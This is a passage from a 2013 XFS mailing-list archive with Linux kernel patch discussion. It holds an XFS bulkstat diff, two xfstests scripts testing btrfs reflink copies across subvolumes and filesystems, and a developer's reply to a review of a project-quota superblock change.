must - * later be reset after reading in the cluster - * buffer. - */ - if ((chunkidx & (nicluster - 1)) == 0) { - agbno = XFS_AGINO_TO_AGBNO(mp, - irbp->ir_startino) + - ((chunkidx & nimask) >> - mp->m_sb.sb_inopblog); - } + ino = XFS_AGINO_TO_INO(mp, agno, agino); /* * Skip if this inode is free. @@ -499,10 +477,6 @@ xfs_bulkstat( cond_resched(); } - - if (bp) - xfs_buf_relse(bp); - /* * Set up for the next loop iteration. */ -- 1.7.9.5 From koen.de.wit@oracle.com Mon Jul 1 10:20:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8DC687F55 for ; Mon, 1 Jul 2013 10:20:43 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 39D06AC007 for ; Mon, 1 Jul 2013 08:20:40 -0700 (PDT) X-ASG-Debug-ID: 1372692038-04bdf0233e9e9dc0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 6tIPI810JVZJXRuy (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 01 Jul 2013 08:20:39 -0700 (PDT) X-Barracuda-Envelope-From: koen.de.wit@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r61FEHQ0008807 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 1 Jul 2013 15:14:18 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by ucsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r61FKap7027494 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 1 Jul 2013 15:20:36 GMT Received: from abhmt105.oracle.com (abhmt105.oracle.com [141.146.116.57]) by userz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r61FKZR5027475; Mon, 1 Jul 2013 15:20:36 GMT Received: from [10.175.38.41] (/10.175.38.41) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 01 Jul 2013 08:20:35 -0700 Message-ID: <51D19DF9.2080007@oracle.com> Date: Mon, 01 Jul 2013 17:19:21 +0200 From: Koen De Wit User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20111110 Icedove/3.0.11 MIME-Version: 1.0 To: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: [PATCH v2] xfstests: btrfs/316: cross-subvolume sparse copy Content-Type: text/plain; charset=ISO-8859-1; format=flowed X-ASG-Orig-Subj: [PATCH v2] xfstests: btrfs/316: cross-subvolume sparse copy Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1372692039 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135507 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- This testscript creates reflinks to files on different subvolumes, overwrites the original files and reflinks, and moves reflinked files between subvolumes. Originally submitted as testcase 302, changes are made based on comments from Eric: http://oss.sgi.com/archives/xfs/2013-03/msg00231.html Two new common/rc functions used in this script (_require_cp_reflink and _verify_reflink) have been submitted recently: http://oss.sgi.com/archives/xfs/2013-05/msg00745.html Thanks to Eric Sandeen and Dave Chinner for the reviews. Signed-off-by: Koen De Wit --- tests/btrfs/316 | 130 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/316.out | 39 +++++++++++++++ tests/btrfs/group | 1 + 3 files changed, 170 insertions(+), 0 deletions(-) create mode 100755 tests/btrfs/316 create mode 100644 tests/btrfs/316.out diff --git a/tests/btrfs/316 b/tests/btrfs/316 new file mode 100755 index 0000000..7c9c368 --- /dev/null +++ b/tests/btrfs/316 @@ -0,0 +1,130 @@ +#! /bin/bash +# FS QA Test No. btrfs/316 +# +# Testing cross-subvolume sparse copy on btrfs +# - Create two subvolumes, mount one of them +# - Create a file on each (sub/root)volume, +# reflink them on the other volumes +# - Change one original and two reflinked files +# - Move reflinked files between subvolumes +# +#----------------------------------------------------------------------- +# Copyright (c) 2013, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + umount $SCRATCH_MNT + rm -rf $TESTDIR1 + rm -rf $TESTDIR2 + btrfs subvolume delete $SUBVOL1 >> $seqres.full + btrfs subvolume delete $SUBVOL2 >> $seqres.full + cd / + rm -f $tmp.* +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux + +_require_scratch +_require_cp_reflink + +_checksum_files() { + for F in file1 file2 file3 + do + for D in $TESTDIR1 $SCRATCH_MNT $SUBVOL2 + do + md5sum $D/$F | _filter_test_dir | _filter_scratch + done + done +} + +TESTDIR1=$TEST_DIR/test-$seq-1 +TESTDIR2=$TEST_DIR/test-$seq-2 +SUBVOL1=$TEST_DIR/subvol-$seq-1 +SUBVOL2=$TEST_DIR/subvol-$seq-2 + +_scratch_unmount 2>/dev/null +rm -rf $seqres.full +rm -rf $TESTDIR1 $TESTDIR2 +btrfs subvol delete $SUBVOL1 >/dev/null 2>&1 +btrfs subvol delete $SUBVOL2 >/dev/null 2>&1 + +mkdir $TESTDIR1 +mkdir $TESTDIR2 +btrfs subvolume create $SUBVOL1 >> $seqres.full +btrfs subvolume create $SUBVOL2 >> $seqres.full +_mount -t btrfs -o subvol=subvol-$seq-1 $TEST_DEV $SCRATCH_MNT + +echo "Create initial files" +# TESTDIR1/file1 is very small and will be inlined +$XFS_IO_PROG -f -c 'pwrite -S 0x61 0 10' $TESTDIR1/file1 >> $seqres.full +$XFS_IO_PROG -f -c 'pwrite -S 0x62 0 13000' $SCRATCH_MNT/file2 >> $seqres.full +$XFS_IO_PROG -f -c 'pwrite -S 0x63 0 17000' $SUBVOL2/file3 >> $seqres.full + +echo "Create reflinks to the initial files on other subvolumes" +cp --reflink $TESTDIR1/file1 $SUBVOL1 +cp --reflink $TESTDIR1/file1 $SUBVOL2 +cp --reflink $SUBVOL1/file2 $TESTDIR1/ +cp --reflink $SUBVOL1/file2 $SUBVOL2 +cp --reflink $SUBVOL2/file3 $TESTDIR1/ +cp --reflink $SUBVOL2/file3 $SUBVOL1 + +echo "Verify the reflinks" +_verify_reflink $SCRATCH_MNT/file2 $TESTDIR1/file2 +_verify_reflink $SCRATCH_MNT/file2 $SUBVOL2/file2 +_verify_reflink $SUBVOL2/file3 $TESTDIR1/file3 +_verify_reflink $SUBVOL2/file3 $SCRATCH_MNT/file3 +echo "Verify the file contents:" +_checksum_files + +echo -e "---\nOverwrite some files with new content" +$XFS_IO_PROG -c 'pwrite -S 0x64 0 20' $TESTDIR1/file1 >> $seqres.full +$XFS_IO_PROG -c 'pwrite -S 0x66 0 21000' $SUBVOL2/file2 >> $seqres.full +$XFS_IO_PROG -c 'pwrite -S 0x65 5000 5000' $SCRATCH_MNT/file3 >> $seqres.full + +echo "Verify that non-overwritten reflinks still have the same data blocks" +_verify_reflink $TESTDIR1/file2 $SCRATCH_MNT/file2 +_verify_reflink $TESTDIR1/file3 $SUBVOL2/file3 +echo "Verify the file contents:" +_checksum_files + +echo -e "---\nShuffle files between directories" +mv $TESTDIR1/file* $TESTDIR2 +mv $SCRATCH_MNT/file* $TESTDIR1/ +mv $SUBVOL2/file* $SCRATCH_MNT/ +mv $TESTDIR2/file* $SUBVOL2/ + +# No _verify_reflink here as data is copied when moving files between subvols +echo "Verify the file contents:" +_checksum_files + +# success, all done +status=0 +exit diff --git a/tests/btrfs/316.out b/tests/btrfs/316.out new file mode 100644 index 0000000..fbfa550 --- /dev/null +++ b/tests/btrfs/316.out @@ -0,0 +1,39 @@ +QA output created by 316 +Create initial files +Create reflinks to the initial files on other subvolumes +Verify the reflinks +Verify the file contents: +e09c80c42fda55f9d992e59ca6b3307d TEST_DIR/test-302-1/file1 +e09c80c42fda55f9d992e59ca6b3307d SCRATCH_MNT/file1 +e09c80c42fda55f9d992e59ca6b3307d TEST_DIR/subvol-302-2/file1 +d7402b46310fbbfbc5e466b1dccb043b TEST_DIR/test-302-1/file2 +d7402b46310fbbfbc5e466b1dccb043b SCRATCH_MNT/file2 +d7402b46310fbbfbc5e466b1dccb043b TEST_DIR/subvol-302-2/file2 +5a95800e4c04b11117aa4e4de057721f TEST_DIR/test-302-1/file3 +5a95800e4c04b11117aa4e4de057721f SCRATCH_MNT/file3 +5a95800e4c04b11117aa4e4de057721f TEST_DIR/subvol-302-2/file3 +--- +Overwrite some files with new content +Verify that non-overwritten reflinks still have the same data blocks +Verify the file contents: +00d620f69f30327f0f8946b95c12de44 TEST_DIR/test-302-1/file1 +e09c80c42fda55f9d992e59ca6b3307d SCRATCH_MNT/file1 +e09c80c42fda55f9d992e59ca6b3307d TEST_DIR/subvol-302-2/file1 +d7402b46310fbbfbc5e466b1dccb043b TEST_DIR/test-302-1/file2 +d7402b46310fbbfbc5e466b1dccb043b SCRATCH_MNT/file2 +917619ae44b38bb9968af261c3c45440 TEST_DIR/subvol-302-2/file2 +5a95800e4c04b11117aa4e4de057721f TEST_DIR/test-302-1/file3 +b9f275cd638cb784c9e61def94c622a8 SCRATCH_MNT/file3 +5a95800e4c04b11117aa4e4de057721f TEST_DIR/subvol-302-2/file3 +--- +Shuffle files between directories +Verify the file contents: +e09c80c42fda55f9d992e59ca6b3307d TEST_DIR/test-302-1/file1 +e09c80c42fda55f9d992e59ca6b3307d SCRATCH_MNT/file1 +00d620f69f30327f0f8946b95c12de44 TEST_DIR/subvol-302-2/file1 +d7402b46310fbbfbc5e466b1dccb043b TEST_DIR/test-302-1/file2 +917619ae44b38bb9968af261c3c45440 SCRATCH_MNT/file2 +d7402b46310fbbfbc5e466b1dccb043b TEST_DIR/subvol-302-2/file2 +b9f275cd638cb784c9e61def94c622a8 TEST_DIR/test-302-1/file3 +5a95800e4c04b11117aa4e4de057721f SCRATCH_MNT/file3 +5a95800e4c04b11117aa4e4de057721f TEST_DIR/subvol-302-2/file3 diff --git a/tests/btrfs/group b/tests/btrfs/group index bc6c256..a6d8de1 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -9,3 +9,4 @@ 276 auto rw metadata 284 auto 307 auto quick +316 auto quick -- 1.7.2.5 From sekharan@us.ibm.com Mon Jul 1 10:50:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D44C67F55 for ; Mon, 1 Jul 2013 10:50:46 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id A0C668F8037 for ; Mon, 1 Jul 2013 08:50:46 -0700 (PDT) X-ASG-Debug-ID: 1372693845-04bdf0233e9ec130001-NocioJ Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.150]) by cuda.sgi.com with ESMTP id c517jjZMn1QNVidk (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 01 Jul 2013 08:50:45 -0700 (PDT) X-Barracuda-Envelope-From: sekharan@us.ibm.com X-Barracuda-Apparent-Source-IP: 32.97.110.150 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.150] Received: from /spool/local by e32.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Mon, 1 Jul 2013 09:50:44 -0600 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.150] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.150] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.150] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.150] Received: from d03dlp03.boulder.ibm.com (9.17.202.179) by e32.co.us.ibm.com (192.168.1.132) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Mon, 1 Jul 2013 09:50:44 -0600 Received: from d03relay02.boulder.ibm.com (d03relay02.boulder.ibm.com [9.17.195.227]) by d03dlp03.boulder.ibm.com (Postfix) with ESMTP id B792419D8043 for ; Mon, 1 Jul 2013 09:50:33 -0600 (MDT) Received: from d03av02.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.195.168]) by d03relay02.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r61FoVgX140866 for ; Mon, 1 Jul 2013 09:50:40 -0600 Received: from d03av02.boulder.ibm.com (loopback [127.0.0.1]) by d03av02.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r61FoU2N012008 for ; Mon, 1 Jul 2013 09:50:30 -0600 Received: from [9.41.106.170] (chandra-dt.austin.ibm.com [9.41.106.170]) by d03av02.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id r61FoUde011980; Mon, 1 Jul 2013 09:50:30 -0600 Subject: Re: [PATCH v9 4/6] xfs: Start using pquotaino from the superblock. From: Chandra Seetharaman X-ASG-Orig-Subj: Re: [PATCH v9 4/6] xfs: Start using pquotaino from the superblock. Reply-To: sekharan@us.ibm.com To: Dave Chinner Cc: xfs@oss.sgi.com In-Reply-To: <20130625063135.GU29376@dastard> References: <1372042107-27332-1-git-send-email-sekharan@us.ibm.com> <1372042107-27332-5-git-send-email-sekharan@us.ibm.com> <20130625063135.GU29376@dastard> Content-Type: text/plain; charset="UTF-8" Organization: IBM Date: Mon, 01 Jul 2013 10:50:30 -0500 Message-ID: <1372693830.9777.4.camel@chandra-dt.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.28.3 (2.28.3-30.el6) Content-Transfer-Encoding: 7bit X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13070115-5406-0000-0000-00000A06325A X-Barracuda-Connect: e32.co.us.ibm.com[32.97.110.150] X-Barracuda-Start-Time: 1372693845 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com Hi Dave, I sent this email on 6/25 (just before my reply on 5/6 w.r.t adding the test to xfstests). Since I didn't get any response from you on this and got reply on the other one, I concluded that you accepted my justification/clarification. I just looked at the archives and do not see my original email :(... but is intact in my sent folder!! Please see if my justification below is valid. Chandra On Tue, 2013-06-25 at 16:31 +1000, Dave Chinner wrote: > On Sun, Jun 23, 2013 at 09:48:25PM -0500, Chandra Seetharaman wrote: > > Start using pquotino and define a macro to check if the > > superblock has pquotino. > > > > Keep backward compatibilty by alowing mount of older superblock > > with no separate pquota inode. > > > > Signed-off-by: Chandra Seetharaman > > --- > > fs/xfs/xfs_fsops.c | 3 +- > > fs/xfs/xfs_mount.c | 51 +++++++++++++++++++++++++++++++-------- > > fs/xfs/xfs_qm.c | 22 +++++++++-------- > > fs/xfs/xfs_qm_syscalls.c | 24 ++++++++++++++++-- > > fs/xfs/xfs_quota.h | 8 ------ > > fs/xfs/xfs_sb.h | 16 +++++++++++- > > fs/xfs/xfs_super.c | 14 ++++++---- > > include/uapi/linux/dqblk_xfs.h | 1 + > > 8 files changed, 99 insertions(+), 40 deletions(-) > > > > diff --git a/fs/xfs/xfs_fsops.c b/fs/xfs/xfs_fsops.c > > index 614eb0c..3bf05f4 100644 > > --- a/fs/xfs/xfs_fsops.c > > +++ b/fs/xfs/xfs_fsops.c > > @@ -501,7 +501,8 @@ xfs_growfs_data_private( > > error, agno); > > break; > > } > > - xfs_sb_to_disk(XFS_BUF_TO_SBP(bp), &mp->m_sb, XFS_SB_ALL_BITS); > > + xfs_sb_to_disk(XFS_BUF_TO_SBP(bp), &mp->m_sb, > > + xfs_sb_all_bits(&mp->m_sb)); > > I think you could still pass XFS_SB_ALL_BITS to xfs_sb_to_disk(), > and do the XFS_SB_PQUOTINO filtering inside xfs_sb_quota_to_disk(). > > Actually xfs_sb_all_bits() is only used here, and it seems to me > that it is not necessary as we do a pquota support check inside > xfs_sb_to_disk() and can handle this in that place... Yes, this is the only place that uses XFS_SB_ALL_BITS, and the purpose is to copy over the superblock to secondary. The change I made ensures that the caller does what is correct. i.e if it is copying an earlier version of superblock, it does not try to copy the pquotino, and if it uses the newer version of superblock it copies over the pquotino. At some point (in my internal tree) I did have the way you suggested. But, doing it that way looked like a band-aid/hack, and felt this is the right way to do it (since the caller should provide appropriate information to the function). > > > > > /* > > * If we get an error writing out the alternate superblocks, > > diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c > > index e2e14cb..bb7b23e 100644 > > --- a/fs/xfs/xfs_mount.c > > +++ b/fs/xfs/xfs_mount.c > > @@ -336,12 +336,17 @@ xfs_mount_validate_sb( > > return XFS_ERROR(EWRONGFS); > > } > > > > - if ((sbp->sb_qflags & (XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD)) && > > - (sbp->sb_qflags & (XFS_PQUOTA_ENFD | XFS_GQUOTA_ENFD | > > - XFS_PQUOTA_CHKD | XFS_GQUOTA_CHKD))) { > > - xfs_notice(mp, > > -"Super block has XFS_OQUOTA bits along with XFS_PQUOTA and/or XFS_GQUOTA bits.\n"); > > - return XFS_ERROR(EFSCORRUPTED); > > + if (xfs_sb_version_has_pquota(sbp)) { > > + if (sbp->sb_qflags & (XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD)) { > > + xfs_notice(mp, > > + "Version 5 of Super block has XFS_OQUOTA bits.\n"); > > + return XFS_ERROR(EFSCORRUPTED); > > + } > > + } else if (sbp->sb_qflags & (XFS_PQUOTA_ENFD | XFS_GQUOTA_ENFD | > > + XFS_PQUOTA_CHKD | XFS_GQUOTA_CHKD)) { > > + xfs_notice(mp, > > +"Superblock earlier than Version 5 has XFS_[PQ]UOTA_{ENFD|CHKD} bits.\n"); > > + return XFS_ERROR(EFSCORRUPTED); > > [ xfs_alert() for those, I think. ] will do. > > > @@ -638,6 +643,13 @@ xfs_handle_quota_to_disk( > > { > > __uint16_t qflags = from->sb_qflags; > > > > + /* > > + * We need to do these manipilations only if we are working > > + * with an older version of on-disk superblock. > > + */ > > + if (xfs_sb_version_has_pquota(from)) > > + return; > > + > > if (*fields & XFS_SB_QFLAGS) { > > /* > > * The in-core version of sb_qflags do not have > > xfs_sb_all_bits() does: > > if (xfs_sb_version_has_pquota(sbp)) > return XFS_SB_ALL_BITS; > return XFS_SB_ALL_BITS & ~XFS_SB_PQUOTINO; > > which means that we enter xfs_handle_quota_to_disk() with > XFS_SB_ALL_BITS intact for the pquota case, but without it in the > non-pquota case. Hence if we don't have pquota set, we continue > onwards and.... > > > @@ -657,6 +669,10 @@ xfs_handle_quota_to_disk( > > to->sb_qflags = cpu_to_be16(qflags); > > *fields &= ~XFS_SB_QFLAGS; > > } > > + if (*fields & XFS_SB_PQUOTINO) { > > + to->sb_gquotino = cpu_to_be64(from->sb_pquotino); > > + *fields &= ~XFS_SB_PQUOTINO; > > + } > > We will never do this because we've already cleared XFS_SB_PQUOTINO > before we entered xfs_sb_to_disk(). That doesn't seem right to me... Yes, if we are using a version of superblock where pquotino should not be used, we do not want to get into this block. If we are using PQUOTA in the superblock, that inode information will be in gquotino and will be converted over appropriately in xfs_sb_to_disk(). > > > @@ -1524,8 +1524,10 @@ xfs_qm_init_quotainos( > > flags &= ~XFS_QMOPT_SBVERSION; > > } > > if (XFS_IS_PQUOTA_ON(mp) && pip == NULL) { > > + if (!xfs_sb_version_has_pquota(&mp->m_sb)) > > + sbflags &= ~XFS_SB_GQUOTINO; > > That's taken me a while to work out - it needs a comment explaining > why XFS_SB_GQUOTINO is being cleared here. will do. > > > error = xfs_qm_qino_alloc(mp, &pip, > > - sbflags | XFS_SB_GQUOTINO, > > + sbflags | XFS_SB_PQUOTINO, > > flags | XFS_QMOPT_PQUOTA); > > if (error) > > goto error_rele; > > diff --git a/fs/xfs/xfs_qm_syscalls.c b/fs/xfs/xfs_qm_syscalls.c > > index ed7cd55..d664a2d 100644 > > --- a/fs/xfs/xfs_qm_syscalls.c > > +++ b/fs/xfs/xfs_qm_syscalls.c > > @@ -201,8 +201,7 @@ xfs_qm_scall_quotaoff( > > /* > > * If quotas is completely disabled, close shop. > > */ > > - if (((flags & XFS_MOUNT_QUOTA_ALL) == XFS_MOUNT_QUOTA_SET1) || > > - ((flags & XFS_MOUNT_QUOTA_ALL) == XFS_MOUNT_QUOTA_SET2)) { > > + if ((flags & XFS_MOUNT_QUOTA_ALL) == XFS_MOUNT_QUOTA_ALL) { > > mutex_unlock(&q->qi_quotaofflock); > > xfs_qm_destroy_quotainfo(mp); > > return (0); > > This makes the assumption that userspace passes all three quota > types into the kernel in a single quota off call as the only way to > turn quotas off completely. What happens if they are turned off one > at a time? Shouldn't we detect when no more quotas are actually > enabled and then do this? Yes, I agree that there is a difference in behavior if the user turns off quota one-by-one Vs turns off all quota at once. But, the behavior difference is not seen by the user space. And, I did not make the change :) I just included project quota into the fold. > > Cheers, > > Dave. From koen.de.wit@oracle.com Mon Jul 1 11:00:06 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 72A447F55 for ; Mon, 1 Jul 2013 11:00:06 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id E7301AC003 for ; Mon, 1 Jul 2013 09:00:05 -0700 (PDT) X-ASG-Debug-ID: 1372694401-04cbb046909d5580001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id x8rm0uJmMzKELZ8P (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 01 Jul 2013 09:00:01 -0700 (PDT) X-Barracuda-Envelope-From: koen.de.wit@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r61Fxx0H006534 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 1 Jul 2013 16:00:00 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by ucsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r61FxxXH011296 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 1 Jul 2013 15:59:59 GMT Received: from abhmt114.oracle.com (abhmt114.oracle.com [141.146.116.66]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r61Fxwn9001905; Mon, 1 Jul 2013 15:59:58 GMT Received: from [10.175.38.41] (/10.175.38.41) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 01 Jul 2013 08:59:58 -0700 Message-ID: <51D1A734.3000805@oracle.com> Date: Mon, 01 Jul 2013 17:58:44 +0200 From: Koen De Wit User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20111110 Icedove/3.0.11 MIME-Version: 1.0 To: Eric Sandeen , xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: [PATCH v2] xfstests: btrfs/311: sparse copy between different filesystems/mountpoints Content-Type: text/plain; charset=ISO-8859-1; format=flowed X-ASG-Orig-Subj: [PATCH v2] xfstests: btrfs/311: sparse copy between different filesystems/mountpoints Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1372694401 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135509 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Thanks Eric for reviewing and improving testcases btrfs/306, 309, 310 and 311 ! I had just one comment: on line 70 the output was redirected to $seqres.fll instead of $seqres.full. Corrected patch below. # Check if creating a sparse copy ("reflink") of a file on btrfs # expectedly fails when it's done between different filesystems or # different mount points of the same filesystem. # # For both situations, these actions are executed: # - Copy a file with the reflink=auto option. # A normal copy should be created. # - Copy a file with the reflink=always option. Should result in error, # no file should be created. [sandeen: mostly cosmetic changes] Originally submitted as: xfstests: 301: sparse copy between different filesystems/mountpoints on btrfs Signed-off-by: Koen De Wit Signed-off-by: Eric Sandeen --- tests/btrfs/311 | 107 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/311.out | 15 +++++++ tests/btrfs/group | 4 ++ 3 files changed, 126 insertions(+), 0 deletions(-) create mode 100755 tests/btrfs/311 create mode 100644 tests/btrfs/311.out diff --git a/tests/btrfs/311 b/tests/btrfs/311 new file mode 100755 index 0000000..56ebd58 --- /dev/null +++ b/tests/btrfs/311 @@ -0,0 +1,107 @@ +#! /bin/bash +# FS QA Test No. 311 +# +# Check if creating a sparse copy ("reflink") of a file on btrfs +# expectedly fails when it's done between different filesystems or +# different mount points of the same filesystem. +# +# For both situations, these actions are executed: +# - Copy a file with the reflink=auto option. +# A normal copy should be created. +# - Copy a file with the reflink=always option. Should result in error, +# no file should be created. +# +#----------------------------------------------------------------------- +# Copyright (c) 2013, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + umount $SCRATCH_MNT &>/dev/null + cd / + rm -f $tmp.* +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux + +_require_scratch +_require_cp_reflink + +SOURCE_DIR=$TEST_DIR/test-$seq +CROSS_DEV_DIR=$SCRATCH_MNT/test-$seq +# mount point & target for twice-mounted device +TEST_DIR2=$TEST_DIR/mount2 +DUAL_MOUNT_DIR=$SCRATCH_MNT/test-bis-$seq + +rm -rf $SOURCE_DIR +mkdir $SOURCE_DIR + +rm -f $seqres.full + +_scratch_mkfs +$XFS_IO_PROG -f -c 'pwrite -S 0x61 0 9000' $SOURCE_DIR/original \ + >> $seqres.full + +_filter_testdirs() +{ + _filter_test_dir | _filter_scratch +} + +_create_reflinks_to() +{ + # auto reflink, should fall back to non-reflink + rm -rf $1; mkdir $1 + echo "reflink=auto:" + cp --reflink=auto $SOURCE_DIR/original $1/copy + md5sum $SOURCE_DIR/original | _filter_testdirs + md5sum $1/copy | _filter_testdirs + + # always reflink, should fail outright + rm -rf $1; mkdir $1 + echo "reflink=always:" + cp --reflink=always $SOURCE_DIR/original $1/copyfail 2>&1 | _filter_testdirs + + # The failed target actually gets created by cp: + ls $1/copyfail | _filter_testdirs +} + +echo "test reflinks across different devices" 